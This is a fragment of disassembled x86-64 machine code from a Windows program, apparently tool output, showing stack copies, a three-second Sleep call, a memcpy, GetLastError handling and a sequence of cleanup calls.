call fcn.140010c6f
mov rax, qword [rbp + 0x28]
mov qword [r15 + 0x20], rax
movups xmm0, xmmword [rbp + 0x18]
movups xmmword [r15 + 0x10], xmm0
movups xmmword [rbp + 8], xmm6
mov eax, 1
mov qword [rsp + 0x270], rax
movups xmmword [rbp + 0x20], xmm6
mov qword [rsp + 0x288], rax
lea rbx, [rsp + 0xc0]
mov r15, qword [rsp + 0x28]
lea rbp, [rsp + 0x638]
mov r13, qword [rsp + 0x30]
mov r14, r12
jmp 0x140010486
mov ecx, 0xbb8
call qword [sym.imp.kernel32.dll_Sleep]
mov r15, qword [rsp + 0x28]
lea rbp, [rsp + 0x638]
mov r13, qword [rsp + 0x30]
lea r12, [rsp + 0xf8]
lea rdi, [rsp + 0xc48]
lea rsi, [rsp + 0x50]
jmp 0x14000ff2d
movups xmm0, xmmword [rsp + 0xc0]
movups xmm1, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0x60], xmm1
movaps xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0xe1]
mov eax, dword [rcx]
mov ecx, dword [rcx + 3]
lea rdx, [rsp + 0x71]
mov dword [rdx + 3], ecx
mov dword [rdx], eax
movaps xmm0, xmmword [rsp + 0x110]
movaps xmm1, xmmword [rsp + 0x120]
movaps xmmword [rsp + 0x210], xmm1
movaps xmmword [rsp + 0x200], xmm0
mov byte [rsp + 0x70], 0
lea rcx, [rsp + 0x358]
lea rdx, [rsp + 0x200]
mov r8, rsi
call fcn.1400286c6
mov r8d, 0x148
mov rcx, rbp
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
lea rdi, [rsp + 0xc48]
jmp 0x140010003
lea rcx, [rsp + 0x150]
call fcn.140003e61
mov rcx, qword [rsp + 0x288]
mov rdx, qword [rsp + 0x290]
call fcn.140010c6f
mov rcx, qword [rsp + 0x2a0]
mov rdx, qword [rsp + 0x2a8]
call fcn.140010c6f
mov rcx, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x1d8]
call fcn.140010c6f
mov rcx, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x1e0]
call fcn.140010c6f
mov rcx, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x1e8]
call fcn.140010c6f
mov ecx, 1
xor edx, edx
call fcn.140010c6f
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0xe8]
call fcn.140010c6f
mov rcx, qword [rsp + 0x2f0]
mov rdx, qword [rsp + 0x2f8]
call fcn.140010c6f
mov rcx, qword [rsp + 0x2d0]
mov rdx, qword [rsp + 0x2d8]
call fcn.140010c6f
mov rcx, qword [rsp + 0x138]
mov rdx, qword [rsp + 0x140]
call fcn.140010c6f
mov rcx, qword [rsp + 0x1c0]
mov rdx, qword [rsp + 0x1c8]
call fcn.140010c6f
lea rcx, [rsp + 0xf8]
call fcn.1400048c6
movaps xmm6, xmmword [rsp + 0xf50]
add rsp, 0xf68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
call qword [sym.imp.kernel32.dll_GetLastError]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x60]
lea rbx, [rsi + 0x50]
sub rdi, 1
jb 0x140010690
mov rcx, qword [rbx - 0x50]
mov rdx, qword [rbx - 0x48]
call fcn.140010c6f
mov rcx, qword [rbx - 0x38]
mov rdx, qword [rbx - 0x30]
call fcn.140010c6f
mov rcx, qword [rbx - 0x20]
mov rdx, qword [rbx - 0x18]
call fcn.14003e3e3
mov rcx, qword [rbx - 8]
mov rdx, qword [rbx]
call fcn.140010c6f
add rbx, 0x60
jmp 0x140010651
mov rdx, qword [rsp + 0x58]
mov rcx, rsi
call fcn.14003e3f7
ud2
mov ecx, 4
mov edx, 0x1b0
call fcn.1400a2916
ud2
lea rcx, [rsp + 0x940]
call fcn.14007eead
lea rcx, [rsp + 0x138]
call fcn.140092c2c
mov rcx, rdi
call fcn.14007a33b
lea rcx, [rsp + 0x1c0]
call fcn.140080774
jmp 0x1400106f7
call fcn.140010a13
ud2
lea rcx, [rsp + 0x150]
call fcn.140092c01
lea rcx, [rsp + 0xf8]
call fcn.1400803c5
jmp 0x14001069d